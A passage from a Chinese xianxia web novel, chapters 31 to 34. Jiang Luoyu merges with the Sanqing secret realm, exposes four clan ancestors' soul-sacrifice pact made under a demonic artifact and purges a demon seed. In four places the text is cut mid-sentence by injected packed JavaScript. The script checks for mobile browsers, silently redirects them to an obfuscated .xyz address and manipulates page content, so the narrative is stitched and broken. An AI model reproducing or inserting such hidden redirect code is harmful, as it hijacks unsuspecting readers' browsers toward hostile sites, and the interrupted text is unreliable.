“没想到这废物几万年了,居然还没回到魔界。” 见丛明雪表情意外,离昼拨弄几下手腕上的银铃铛:“还有什么想问的吗?” 丛明雪:“既然乌吉纳只是一抹残魂,您五人为何不出手将其缉拿?” 离昼:“别叫前辈了,境主既然认定了你,我们没异议。如今你也没了神格,我们五个人收拾你易如反掌,只要你对境主不起什么歪心思,我们就一直都是你的长辈。” “晚辈清楚。”丛明雪改口道,“离昼叔。” 离昼:“不抓他的原因,是因为他手里拿着下品魔器。” “那伽这些天观察下来,确定魔器的能力类似于魂蛊瓶,能够将人的魂魄收进去厮杀,活下来的蛊王能高出自身三个大境界。” “由于无法知晓这东西使用有什么条件限制,我们才不敢贸然行动。” 丛明雪看了眼许胜手里的白色玉瓶,从储物戒里翻出谢子宁在秘境里得到的小铜镜递给离昼,道:“这是我和阿玉在天正宗遇到的魔器。” “废品?”离昼左右翻看着,“看来六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809537|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界就快要不太平了。” “你们在看什么?” 丛明雪被那伽一身金灿灿的法衣晃了眼。 那伽刚做完法宝,赶来想和离昼交流一下对乌吉纳动手的可行性,就看见两个人对着空无一物的地方聚精会神。 离昼将那伽拽入开辟出来的空间,让他也能看见覆盖整个三清秘境的水镜。 “这不是我发明的千眼镜吗?”那伽表情诡异,“你什么时候拿它监视三清秘境的?不对,你什么时候从我库房把它偷出来的!” 离昼接过那伽递过来的木盒,头也不抬:“偷什么偷,你炼器时我问你还用不用,你说送我了,我这才拿走的。” 那伽:“……我那时脑子不清楚。” 丛明雪站在一旁看两人斗嘴,开始思考如何给五位长辈补上一份“见面礼”。 第一次在下界相遇,他几乎是被五人“绑”来的。一封没有署名的信邀他去三清秘境,他便提着聆天剑赴约。 进了秘境眼前一黑,就到了五人面前,话里话外都是姜洛玉与他有缘,就先交给他收做弟子,等到神魂稳固再送回来。 交换条件是天地境内划出一块儿,给天正宗的弟子当作试炼之地,本来他见到姜洛玉心里就生出难以言喻的情绪,于是顺势将人带回天正宗。 那时是“客”,如今是晚辈的身份,礼数得全。 可送什么呢? 丛明雪整理着手里的仅有的信息——离昼,命修,平日里还喜欢制毒。那伽,器修,最爱缩在金龙殿里炼器。红楹,法修,喜欢是制作灵食。垢姬,毒修,和毒相关的都喜欢。凝星,医修,对钻研药方感兴趣。 一目了然的喜好,丛明雪知道该送什么了。 七日后,姜洛玉终于脱离了持续的低热,走出百花殿。 他一出门就看见站在殿门口的白衣身影,挥了挥手:“师尊!” 还是这么叫着顺口。 丛明雪接住扑过来的人,应了一声:“嗯。” 凝星靠在花柱上见此场景万分感慨,果然,孩子大了留不住啊。 “星姨,这是我近些年奇遇所得积攒的药方。”丛明雪掏出储物戒,“还有一些药性奇特的灵药。” 凝星粉色的眸子亮了亮,都没注意丛明雪对自己称呼的改变,欣喜道:“给我的?” 丛明雪:“没错,晚辈的一点心意,还望星姨笑纳。” 凝星痛快地接了过来,这么多年修真界上流通的药方她几乎研究了个遍,又因为说到底不是下界之人,无法遇到适合自己的奇遇,只能靠其他人碰运气得到新药方再拿给自己。 近些年又一直不曾离开秘境,只好转头研究起嫁接灵药。丛明雪送的这个,她是真心喜欢。 挥别凝星,姜洛玉跳到丛明雪背上,搂住他的脖子耳语:“这是做什么?讨好长辈?” “嗯。”丛明雪大方承认,“他们疼惜你,我自然要让他们感受到,你和我在一起不会受委屈。” “礼物只是最基本的礼仪,其他的,时间自会证明。” 姜洛玉开始掰着手指数数:“除了红姨他们,还有爸妈、大哥大姐和二哥……等到此间事了,就接他们到这儿修仙。” 丛明雪:“好。” 姜洛玉说着说着叹了口气,道:“我明天就要被种回土里了。” 丛明雪:“……?” 31.穿越第三十一天 “第三世我本该经过冥界的往生河,再投胎到修真界。”姜洛玉把脸埋在丛明雪颈侧的发丝里,“但离昼叔他们直接用引魂术把我叫了回来,落在当初肉身里重新成长。” “但那副肉身空了太久,没有魂魄滋养,和三清秘境的联系几近切断。他们本以为神魂归位后,联系就能自己回来。没想到我却因为异世的浊气,无法再度和三清秘境建立联系。” 脑中划过一张女子带着异域风情,满是愁容的脸,接着道:“有时间,我想看看我母妃过得怎么样。” 他第二世的母亲,郁郁而终的舞姬迦南月,在他登上皇位后才被追封为妃。 后来,他又暗中将她的尸骨送回故土安葬。 她的悲剧是时代洪流下造就的,当时的他救不了她,恢复记忆后又一直面临着诸多谜团不得安眠。 如今时机成熟,他的母妃若是仍旧困于人界受凡胎之苦,就得想个办法,把人捞上来。 丛明雪稳稳托着姜洛玉,道了声“好”,又问道:“种回土里就能建立联系吗?” 姜洛玉:“理论上是这样。” “离昼叔那儿怎么样了?” 丛明雪:“乌吉纳并没有完全占据许胜的躯壳,二者这几天一直在争夺身体控制权,无头苍蝇般在秘境乱窜。” “我与离昼叔联手,将其困在天正境西北部的雪山里。等你与秘境融合,就能找到乌吉纳在秘境埋下的魂蛊阵眼。” 姜洛玉“嗯”了一声,在丛明雪的背上找了个更舒服的姿势。 乌吉纳的事情他听凝星说了。 那老魔沉寂几万年,最近才出来兴风作浪,估计是之前都在养伤。 夺舍之后拿着魔器直奔三清秘境而来,看上的就是三清秘境里的天材地宝,和秘境的核心——三清之气。 三清之气这种开天辟地出现的东西,本来只显露出实体于神界,又阴差阳错汇聚在一起形成秘境,外人便无法窃取。 如今流落到下界,照常理来说,核心所在必然异动,找到三清之气的可能性大大增加。 乌吉纳拿着魂蛊瓶到处抽人魂魄,养起来当作阵眼埋在各处,是想借助阵法逼“三清之气”现身,好将其吸收修补残魂。 但他肯定想不到,三清之气早就化成了人身。他那些自以为是的算计都暴露在天光之下,只等着众人讨伐。 次日,天地境正中心,仙音湖。 风过林梢,湖水在风中泛起涟漪。岸边饮水的三目白鹿动了动鼻子,踢了一脚扑来的金吼狼幼崽,头也不回地化作林间瑞气向远处奔去。 三目白鹿是灵兽,金吼狼是妖兽。二者最大的区别就是前者气息更为纯净,也更为温顺,不似妖兽修炼过于艰难,性情暴烈。 金吼狼幼崽哀嚎一声,飞了出去。腹部的伤口撕裂开来,流出绿色的脓血。 它忍着疼痛挪动到岸边,垂下脑袋一点点地喝水。 “呜——” 金吼狼幼崽觉得,自己快要死了。 “小可怜,怎么自己在这儿?” 有人托着它的前后腿将它抱起,金吼狼幼崽龇了龇牙,扑腾着爪子想要逃离“魔爪”,结果却对上一双温润的桃花眼。 眼睛的主人是个雄性人类,和它见过的那些没什么两样,但是身上的气息又很熟悉,就像是……它已经死去的母亲。 它那个,其他妖兽分食的母亲。 金吼狼幼崽叫了两声,拼命朝着人类的方向蹬腿,蹬了两下猛地发现,面前的人类变成了母亲的模样。 它小小的脑子无法理解这一幕,对母亲的思念却盖过一切,抱着“爪子”低声啜泣。 “嗷呜——” “哭什么?哭得像小狗一样。”姜洛玉戳了戳金吼狼幼崽的脑袋,把疗伤的丹药喂进它嘴里。 手指被狼崽嗦了一下。 姜洛玉沉默一瞬,抽出手指在狼崽重新变得有光泽的皮毛上擦了几下,揉了揉狼崽的肚子,把它抱在怀里。 感受到胸口传来的诡异的力度,他低下头和在自己胸前乱蹭的狼崽对视,面无表情:“我没有奶。” 金吼狼幼崽听不懂,只知道“母亲”搭理自己了,身上又不疼,于是更加卖力地在“母亲”怀里拱来拱去。 “它灵智未开,受你功法影响很正常。”丛明雪摸了把金吼狼幼崽的耳朵,“把它给我,我回去把它交给红姨。” 姜洛玉点点头。红楹除了喜欢做饭,还喜欢养一些灵兽妖兽,尤其喜欢长得好看还听话的幼崽。 这金吼狼看着才三四个月,又憨态可掬,失了父母在秘境里必死无疑。他们目前又没时间养兽宠,送到红楹那儿正好。 姜洛玉把狼崽递了过去,接着走到湖边。仙音湖大得离谱,湖面什么也没有,一览无余。 他来这仙灵湖,是要进行融合第一步——回归三清秘境的怀抱。 法诀打入湖水里,湖岸开始震动,一条长板桥缓缓从水中升起。 “祝我好运。”姜洛玉对着丛明雪笑了笑,踏上了桥面。 周围的一切景象消失了,只剩下他一个人行走在茫茫白雾里。天不再是天,水不再是水,他仿佛成为了一团没有来处和去处的雾气。 渐渐的雾气淡了些,他的面前出现了一座黑土堆砌的湖心岛。 岛上只有一棵一人高的植物,乍一看像是玉米秆,细看又会发现这东西比玉米秆细上不少,还没有果实。 姜洛玉看着面前一人高的生姜苗,匪夷所思:“怎么长这么大了?” 生姜苗纹丝不动。 他伸出手掐住生姜苗的叶子,开始催动《太一万法无相诀》——这功法的效果能够作用于万物之上。 催动功法后,他和生姜的联系果然加深了。 离昼说的三个步骤,只是占卜得出来的模糊结果,真正操作起来还是要他自己寻找方法。他在百花殿苦思冥想,想到了当初那粒生姜种子。 果实脱离母体,想要回去能怎么做? 只要把果实粉碎埋进土里,它就能作为养分被母体再次吸收,被母体重新孕育出来。 不过姜洛玉当然不会这么做,他和那颗种子也不是子体和母体的关系。 他就是那颗种子,也是种子破土而出长出的生姜。他只需要把生姜本体吸收,就能回归秘境的怀抱,成为它的一员。 淡淡的金光从一人一生姜身上散发出来,足足过了一个日夜,金光才消失。 一并消失的还有一人高的姜苗。 姜洛玉睁开眼,站在岛上活动了一下筋骨,神清气爽。走出仙灵湖决定一鼓作气把下面两个步骤一起解决。 第二步——“得到秘境所有生物的认同”,自然不是离谱到需要询问每棵草的意见。 三清秘境每一层都有对应的镇守灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812150|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽,他获得镇守灵兽的认同就可以。 混沌境的镇守灵兽原本是一枚青蝶蚌,不过这蚌在流落下界的过程中意外身亡,现在的镇守灵兽是她留下的珠子,融合了她的一部分残魂。 心念一动,下一秒人就出现在了迷雾海之上。 姜洛玉钻入海里,朝着散发荧光的巨大蚌壳游过去,赶走在脸颊旁游来游去的灵鱼。 蚌壳中央坐着个蓝发蓝眼的女孩儿,见到他游过来立马露出一副惊喜的表情。 “境主,您终于回来了!”凌珠连忙翻出有成年人脑袋大的蚌珠,眼睛亮晶晶地递过去,“这个送给您!” 姜洛玉眉心一闪,落到了青蝶蚌的残骸上。 “谢谢。”他接过蚌珠,揉了揉凌珠的头,“在海里无不无聊?” 凌珠对着挤过来的小鱼,做了个鬼脸,回答:“还好啦,无聊就睡觉呗。” 姜洛玉:“很快你们就能脱离桎梏了。” 离了三清之气的秘境只是死物,连带着里面的东西也无法离秘境太远。不过等他和秘境融合,这些问题就迎刃而解。 下一站是阴阳殿,因为阴阳境的镇守灵兽是离昼。 不过离昼秘境开启时才会去阴阳境近距离监视那些进来的修士,防止他们在三清秘境搞破坏。 那天卷起苗真,是因为他从梦中醒来时,在苗真两人身上感受到了姜洛玉的气息,找过去才知道自己感受错了,一转头就遇见了正主。 给了领路的小童子几块红楹做的奶油小蛋糕,姜洛玉推开毒室的大门。 离昼的脸在幽幽绿火下显得十分诡艳,他偏了偏头,笑道:“境主,别来无恙。” 姜洛玉的眉心再度闪过金光。 最后一个—— “臭蛇你又叫我来做什么?丑话说前头,我可做不出来你要的制毒法宝……境主?” “你怎么在这儿?”那伽拎着两坛酒,双目迷离。 这回姜洛玉的眉心爆发出刺眼的金光,待到光芒消失,一枚金色法印赫然躺在其上。 他语重心长的拍了拍那伽的肩膀:“那伽叔,你还是少喝点酒为妙。” 那伽:“为、为什么?” 没等姜洛玉回答,就见金发金瞳的少年“砰”得一声,变成筷子粗细的小龙掉飞进酒坛里。 “境主快些去忙吧。”离昼拿起装龙的酒坛,倒出些灵酒洒进炼药的火上。 深绿色的火舌烧得更旺了。 离昼放下酒坛,满意道:“金龙泡酒就是好用。” 姜洛玉:“……” 第三步——“和秘境天人合一”。 他走出阴阳殿,一路走走停停,开始观察秘境内的一草一木。 “天人合一”是个很好理解的概念,三清秘境是三清之气汇聚而成的,他是三清之气、秘境的化身,他们始终是一体的。 那到底怎么融合? 姜洛玉停住脚步,注意到跟在自己身后的一串灵兽,坐到草地上对着它们招手。 这些灵兽全都是感受到姜洛玉身上源自三清之气的气息才过来的,姜洛玉这个撸一把,那个摸一下,最后抱着一只长耳兔躺倒在野草上。 他就这么一直躺到了夕阳西下,被越来越多的灵兽簇拥在中间。 当夜幕彻底降临,姜洛玉猛地坐起。 其实不需要融合,他……就是三清秘境啊。 32.穿越第三十二天 金色光柱冲天而起,秘境内所有开了灵智的生物都停下了手头的动作。 它们不再厮杀、进食、赶路……而是停在原地,朝着光柱的方向,恭顺地低下头颅。 “成了成了!”红楹激动得撸了把怀里的狼崽,“我就说境主一定行!” 离昼蹙了蹙眉:“把火收回去,别把我的阴阳殿烧了。” 红楹这才悻悻地收起后背冒出的翅膀。 丛明雪输送灵力抑制住燃烧的发尾,把头发递了过去。 红楹连忙扑灭涅槃火:“对不住对不住!” “境主已经把乌吉纳放置的魂蛊找出来了。”那伽操控着水镜,叼着红楹新做的酒心巧克力。 吃完又往嘴里扔了几块,酒香甘冽,又多了甜味儿。 他不得不承认,这小野葱还挺会来事儿。 知道他们在神界见过的宝贝多了去,这些年又被困在三清秘境周围出不去,补上的见面礼直接投其所好。 离昼和垢姬收到了修真界的各种毒方,前者多了一个天机岛特持的占星盘,后者多了一堆没孵化出来的毒物卵。 这些年离昼一直好奇天机岛里的命修到底是个什么样,不过去了乘风阁也没问出东西,拿到占星盘嘴角难得挂起笑容。 垢姬正愁秘境里的毒物都养了个遍,看都看腻了。拿到卵催化出毒物,对这些没见过的小玩意儿喜欢的不得了。 凝星收到的是修真界的各种药方,连杂交灵药都搁置起来专心研究药方。 红楹收到的则是异世的食谱,这东西据说是和境主一起在仙界撰写出来的。 得了食谱,红楹当即开始钻研,他路过栖梧殿闻到香味儿,好不容易才求着红楹先给他做了酒心巧克力。 至于他自己,不仅收到了法宝图纸,还有一堆据说加到酒里喝了就不会醉的灵草。 那伽避试了试,果然从头到尾保持清醒,恨不得和丛明雪结为忘年交。 天知道他因为这个毛病泡成多少次药酒! 关键他把神界那些丹药草药都试了个遍,愣是找不到一种能让他保持清醒的东西。 没想到东西原来在下界,他得想个办法让凝星给他多培育点。 “别吃了,魂蛊送过来了。”离昼拿着瓶子晃了晃,“垢姬,你我将里面的生魂分离出来。那伽护法,顺便为那些生魂补足阳气。” 那伽:“知道了。” 凝星:“那我们三个去寻秘境里生魂的肉身。” 丛明雪移开看向光柱的视线,接过寻踪法宝,向着阴阳境飞去。 天地境。 “怎、怎么回事。”朱轻竹的攻击落空,双剑竟然无法刺伤悬停的毒蚊。 她转头看向毒蚊面对的方向,被光柱刺得睁不开眼。 明明那东西离他们很远,可当她看过去的时候,又感觉近在咫尺。 苗真狼狈地摔在地面:“不知道,你快看!秘境里的东西都在对着光柱……朝拜?” 朱轻竹移到赤裸的土地,只见刚才被自己踩倒的小花也颤颤巍巍地重新竖起,面朝光柱的方向俯下身体。 “抱歉,三清秘境要提前关闭了,请各位准备脱离秘境。” 空灵又分辨不出男女的声音响彻在秘境之上。 “三、二……一!” 身体开始溶解,李角瞪大双眼,扑向毫无变化的少年:“少主!” 苗真:“啊——?” 他对着自己的手左看右看。 不对劲儿,他怎么没像李角一样消失? “别看了,就剩下我们两个了。”朱轻竹用剑柄敲了敲苗真的肩膀,表情严肃,“或者说,这秘境,大概只有我们两个‘外人’。” “恭喜你猜对了,奖励你们——” 雌雄莫辨的声音变成了带着笑意的男声,苗真听着异常耳熟。 “过来见我。” 朱轻竹张大了嘴巴。 光柱里,姜洛玉传完话伸了个懒腰,眉心的金印亮得惊人。 众人只能看见光柱,他却能看见四面八方向光柱汇聚的“气”——当年没被他吸收殆尽的三清之气。 第三步就是个伪命题,他本来就是三清秘境,这里一草一木都是他汇聚出来的,又何来“天人合一”一说? 问题关键在于,他之前并没有意识到,而是错误的将自己当成区别于三清秘境的个体。 等他想明白,和三清秘境隔着的无形屏障就消失了。 现在,他对整个秘境拥有绝对掌控权。 “接下来去哪儿呢?”姜洛玉手搓出三清秘境的3D地图,找到天地境西北部的雪山。 点进雪山,看见了山脉里来回打转的癞脸少年。 “该解决烦人的东西了。” “轰——” 大地震动,许胜耗尽这具身体最后一丝力气,仰面倒在雪里。 纷纷扬扬的雪花落在他的眼睛,融化后痒痒的,他连眨眼的动作也做得极为艰难。 第八天了,他还是没找到出口。 “小子,别争了。把这副身体交给我,我替你向许家复仇,我们争下去最后只能两败俱伤!你根本走不出这座雪山!” “老□□,闭嘴。”许胜抹了把脸上的雪,连带着上面的痤疮破开流出脓水。 雪水带动着脓水流淌到脖颈,他躺在原地,看着平地升起山石将他包围。 “该死!有人来了,你赶紧给老子晕过去!” 许胜的意识越来越混沌,恍惚间面前出现了一道熟悉的身影。 “父、父亲……我没保护好娘……” “别交代遗言,你还没到死的地步。”姜洛玉往少年嘴里弹了两颗丹药,让他不至于饿死,又治好了他脸上的伤口。 可痤疮依旧没消失。 许胜回味着丹药的甘甜,有些遗憾。不是父亲,只是个和父亲穿着同色系衣衫的青年。 他宁可是父亲的残魂过来接他。 姜洛玉拍了拍手,刹那间雪地上多了一红一灰两道身影。 苗真满头问号,看见姜洛玉之后磕磕巴巴道:“沈……大哥?” 朱轻竹更是意外,皱着眉用双剑摆出攻击架势:“你究竟是谁?” “好了,人都到齐了。”姜洛玉支着脑袋,直挺挺地侧倒下去,落在云榻上。 然后指挥着从地里冒出来的人参童子,把三个少年人都扶到椅子上。 苗真僵硬着身体,看看化神中期的人参童子,一点也不敢乱动,乖乖坐下。 朱轻竹亦是如此,倒是许胜满脸生无可恋,眼神空洞。 姜洛玉指了指自己:“好奇我是谁?” 苗真两人点头。 “我是……” 苗真两人屏住呼吸。 “夺舍的秘境之主残魂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜洛玉:“四大世家拥有开辟秘境第二通道的钥匙,这是人尽皆知的。那你们可知这钥匙从何而来,得到它又要付出什么代价吗?” 三人摇头。 姜洛玉:“这钥匙是当初的四位家主献祭自己里换来的,至于其他代价——是四大世家族里绝世天才的天资和气运。” “你说谎……”许胜声音嘶哑,似乎想到了什么,“绝世天才何其难得,他们怎会做出如此荒唐之事!” 另外两人皆是面色难看。 “事实就是如此。”姜洛玉眼底没有丝毫情绪,“绝世天才对修仙世家来说只是难得。离了绝世天才,世家又不是不能活。” “天才是最无法掌控的。若是天才能够长成又忠于家族,家族的投资自然不会变成竹篮打水,两者互利互惠。但只要那天才不符合家族的期待,又或是死在半路,直接功亏一篑。” “几百年才能出现的一个绝世天才,和家族底蕴的积累比起来,哪个更重要?反正他们选了后者,于是在秘境里设下阵法,献祭才得来了第二通道。” 姜洛玉长叹一声:“当时秘境无主,才让他们钻了空子。” “如今境主归位,自然要解决这陈年旧事。” 33.穿越第三十三天 三清秘境,第二通道外。 密林之内哀号遍野,一堆爬都爬不起来的修士捶地恸哭。 他们在传送过程中,被从来没经历过的通道震得识海震颤晕了过去。 好不容易醒过来,结果发现在秘境里找到的天材地宝,还有得到的传承都消失了一干二净。 金禾真君一把提起李角:“真儿呢?” 李角:“少主还在秘境,属下也不知少主现状。” “开什么玩笑?废物,我让你跟在真儿身边是保护他的!”金禾真君目眦欲裂,当即取了指尖精血发动寻踪术。 精血直指闭得死死的第二通道。 “王家主别急,我们两家也有弟子没能回来。”周家家主斯文俊秀的脸上挂着和气的笑容,“不如再等等,没准……是一份机缘。” 许家家主冷哼一声:“我看未必。” 金禾真君确认苗真的本命令牌没有任何异常后,眉头这才舒展开来。 “锵——锵——” 金属撞击的声音从腰间响起,她低下头,只见四把秘境钥匙疯了般乱颤。 下一瞬,钥匙挣脱束缚,飞进第二通道。 “金禾你这是在做什么?!”许家家主厉声质问。 金禾真君阻拦钥匙的手段毫无效果,闻言怒道:“你个老东西不会说话就闭嘴,又不是老娘做的!” 天地境,西北部雪山。 “回来了。” 姜洛玉把手里的四把钥匙翻来覆去地看,看清本质后黑着脸脱手。 用了十几遍清洁术才恢复平静。 “你……你算账就找那群老东西去算啊!把我们困在这里像什么话?”朱轻竹砍人无果,被人参童子绑在了椅子上,怒气冲冲。 姜洛玉:“别急,这不是来了吗?” 他隔空挨个弹了弹钥匙的身体,放任它们悬在空中,散发出柔和的白光。 不出几息,四道颜色不一的气团从地底钻出,飘到钥匙前面,幻化成了三男一女。 又一道白影出现,拎着个昏睡的少年放在许胜旁边。 姜洛玉坐起,拍了拍身边的位置:“快坐,你来得正好。这四位‘前辈’也才刚到。” 丛明雪默默坐下。 “境主说笑了,我等如今已是三清秘境的残魂,怎敢以‘前辈’自居?”长相俊逸的男修行礼道,“未曾第一时间过来拜见,实属心中有愧。” “沧东老、老祖?”苗真满脸崩溃,这人不是祠堂里挂着的那位吗? 许胜和朱轻竹都在剩下的两男一女里找到了自己的直系祖宗,前者的祖宗是五官刚毅满脸正气的男修,后者的是面容清丽的女修。 至于昏睡不醒的周怀夏,他的祖宗是长得最斯文的那个男修。 三男一女齐刷刷单膝下跪:“请境主赐罪。” “虽说我这秘境是生来就是赐给修士的机缘,我也愿意将秘境里的东西拿出来分享。但你们趁我不在,把我这秘境用阵眼埋得千疮百孔,确实该罚。” 姜洛玉把玩着丛明雪的发丝:“罚什么好呢?” 沉默中,朱家老祖最先开口:“兰溪任凭境主责罚,身死道消不足为过。” 许家老祖紧随其后:“未岳愿为境主赴汤蹈火。” 王家老祖语气诚恳:“沧东只愿境主能给我等一个将功补过的机会。” 周家老祖顺势道:“松岚全族任凭境主差遣。” 小命捏在面前青年的手里,他们就是不服也得服。 姜洛玉:“不至于让你们魂飞魄散。你们的错不在于拿了秘境里的东西,而是太贪心,竟然想借那些阵眼和后辈,日积月累地将三清秘境占为己有。” 这才是他生气的根本原因。 四人没想到姜洛玉居然能看出来阵法的隐秘,顿时神色各异,周家老祖的反应最大,就连残魂都抖了两下。 姜洛玉看出主谋是谁,嗤笑一声:“松岚,想要在我手下做事,先收好自己的小心思。我不需要什么周家的效忠。我今天要做的,是解决你们做的糊涂事。” “看看这四个孩子,这就是你们造下的孽。” 四个小辈,包括刚刚醒过来的周怀夏都脸色难看。 姜洛玉:“这就是这一代的绝世天才。对你们来说开辟第二通道是献祭,对他们来说——就是诅咒。” “苗真,知道你身上为何存在吸取气运的禁术吗?” 苗真被真相冲击得大脑一片空白,愣愣道:“不知道……” 他连自己身上有禁术这回事儿都没听过。 姜洛玉:“那是只有至亲才能种下的禁术,吸走的气运会储存在至亲手中。” “金禾真君可是期盼着有一天能将让你摆脱这诅咒啊,才愿意燃烧寿命为你保管气运。” “你的倒霉不会影响到王家,也不会影响到你的亲朋好友。你只是会感慨自己资质、气运不如他人……蹉跎一生,最终含恨死去。” “你们三个亦是如此。” 苗真已经不会说话了。 许胜哽咽着发问:“那为何我的父母会遭此横祸?” 姜洛玉:“你的悲剧在于人祸,眼下许信已死,大仇得报。你是个好孩子,所以别再拘泥于过往了。” “对了,你什么时候碰见那个癞蛤蟆的?” 许胜艰难道:“在许信放的那把火里。” 朱轻竹已经听不见姜洛玉在说什么。 她本来作为朱家这一代天资最高的子弟,寄托着所有人的厚望。可五岁那年一场高热,让她被医者诊断出伪灵根。 她不是单灵根,更不是天灵根,是最废物的五灵根。 后来照顾她的阿婆离世,她也脱离了朱家流浪在外成了散修,过得最惨的时候甚至要和野狗抢吃的。 每每灵石刚攒得多一点,就会以各种离谱的方式花出去。 她甚至自嘲是被苗真那个倒霉蛋传染了,又或者是冲撞了哪路财神,也没想过自己是受到了……“诅咒”。 “老祖,他说的都是真的吗?”周怀夏白着脸,“我就说为何我一个废物,还能拿到进阴阳境的资格。” “原来……家主的补偿啊。” 可就算是补偿,他也拿不到。白白在秘境被妖兽追来追去,还被人抽了神魂差点丢命。 松岚推了推左眼的单片眼镜,叹息道:“好孩子,是老祖对不住你。” 可“家族”这两个字早就刻在了他们四人的骨血里。 当时的情况是绝世天才断代,多年没能得到绝世天才的反哺。又事故频发,四大世家元气大伤。 眼看着世家气数将尽,死得死伤的伤,他们四个家主殚精竭虑寻找破解之道。 在家族禁地一本手札上,他找到了这么个阵法,献祭者只能在合体修为之上。此阵一成,方可逆天改命延续家族气运。 而设下阵法的地方,如果是秘境之类的,还能够慢慢被和献祭者血脉相通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825721|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后代据为己有。 手札上的记载让他得知上一任家主预示到世家将颓,本想铤而走险,可终究还是没能狠下心。变数太多了,他赌不起。 但他自知飞升无望,于是和其他三家的家主商议后一拍即合,将阵法放置的地点定在了三清秘境。 那一去,就再也没回来。 外面等待的新任家主得到了四把他们肉身化作的钥匙,四大家族起死回生,就是再也没出现过真正的“绝世天才”。 “物极必反,你们想要让四大世家一直繁荣下去是不可能的。”姜洛玉抱着刚钻出地面的雪兔揉了揉,“你就没想过,这阵法为何付出几个人的代价,就能让四大世家起死回生?” 周家家主:“我……” 姜洛玉:“别想了。你看见手札的第一眼,就被上面的魔纹迷惑了。” “这东西就是邪术,那手札是活的魔器。所谓献祭,不过是让你们用自身血肉和家族气运滋养它。它才能够借出去体内之前吞噬的气运给四大世家。” “世家现在的繁荣只是假象,等到你们被阵法吸收到魂飞魄散,世家的气运也就能被它收入囊中,成为让它的食物。” 他挥了挥手,“唰”得一下,众人面前多了一个冒着红光的阵法。 四道残魂“啊”了一声,眼中竟流下血泪! 就是现在—— “噗通。” 姜洛玉听见清晰的心跳声,闭眼调动神识,看见丹田化为瑞气四散开来的白露花。 毫不犹豫化拳为掌,朝着自己的胸口拍去,同时逆行经脉灵气。 “咳、咳咳。” 姜洛玉捏住咳出来的黑色种子——那东西还没芝麻大,接触皮肤后瞬间长出触手般的黑色藤蔓,挣脱束缚向空中阵法飞去。 “吃你爷爷一招!”金色身影从天而降,吐出金色龙息照在藤蔓上。 没过一会儿,藤蔓就又缩回成种子落尽钵盂里。癞蛤蟆想吞吞不到,只能无能狂怒,拍着钵盂里的结界。 那伽将结界加固,“呸”了一口:“吃不死你。” “境主你怎么样?魔种有没有伤到你,要不还是让凝星看一眼吧。” 姜洛玉摇头,接过丛明雪递过来的灵茶润了润嗓子:“没事,星姨还是先照顾那些差点被炼化的伤者吧。” 那伽晃了晃钵盂:“这死□□果然有后手,还好境主察觉到了。” 姜洛玉:“多亏了无忧道君送的白露花。” “无忧道君是谁?”那伽看了一圈在场众人,“白露花不是入药的东西吗?” 丛明雪:“无忧乃瑞兽长溪,能够祛邪避恶。白露花是她瑞气所化,故能祛除为扎根的魔种。” “什么是魔种?”苗真满脸菜色,举手发问。 姜洛玉板起脸故作深沉,道:“魔种顾名思义,自然是魔界的东西。” “这东西一旦在修士体内扎根,就能诱使修士滋生心魔,从而堕入魔道不可逆转。就连大罗金仙也不能幸免。” 苗真起了一身冷汗。 姜洛玉:“它刚才就是被这刻满魔纹的阵法吸引出来的。不过和你们讲这些没用,反正一会儿也得消除记忆。” 苗真:“……啊?” “接下来该说惩罚了。”姜洛玉清了清嗓子,“沧东、兰溪、未岳、松岚,你四人可愿转修鬼道,成为鬼仆为我所用?” 四人对视后齐声道:“属下愿为境主赴汤蹈火,在所不惜!” 34.穿越第三十四天 姜洛玉有些意外,正襟危坐道:“你们要想清楚,我虽有办法让你们转修鬼道,但过程极为艰难,一不小心就会万劫不复。成为我的鬼仆,性命更是与我相连。” “哦对了,真答应下来,你们就得脱离家族。” 兰溪苦笑道:“我等身死,早就与尘世脱离关系。” “如今境主又证实我等当初所作是被魔物蛊惑,属下再也无颜面对后人。”松岚神情悲凄,“境主愿意任用我等,已经是天大的恩赐。” 沧东看了眼被绑在椅子上的苗真,动容道:“只盼境主能通融一二,让我等能想办法解决那魔器。” 未岳赞同道:“沧东说的不错,‘因’在我等之身,若是无法解除这邪术,实在难以安寝。就算转修,恐怕也要生出心魔再难进境。” 